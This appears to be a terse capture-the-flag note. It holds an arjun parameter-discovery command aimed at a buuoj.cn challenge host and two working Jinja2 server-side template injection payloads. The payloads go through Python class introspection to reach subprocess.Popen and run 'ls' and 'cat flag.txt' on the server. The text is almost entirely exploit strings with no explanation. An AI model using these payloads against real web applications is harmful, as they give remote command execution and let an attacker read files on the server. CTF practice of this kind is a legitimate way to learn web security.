arjun -u http://1f777ff7-72d7-4d96-a8a3-06040d3abb81.node4.buuoj.cn:81/ -c 100 -d 5
/?name={{%27%27.__class__.__mro__[1].__subclasses__()[222](%27ls%27,stdout=-1).communicate()[0].strip()}}
/?name={{%27%27.__class__.__mro__[1].__subclasses__()[222](%27cat%20flag.txt%27,stdout=-1,shell=True).communicate()[0].strip()}}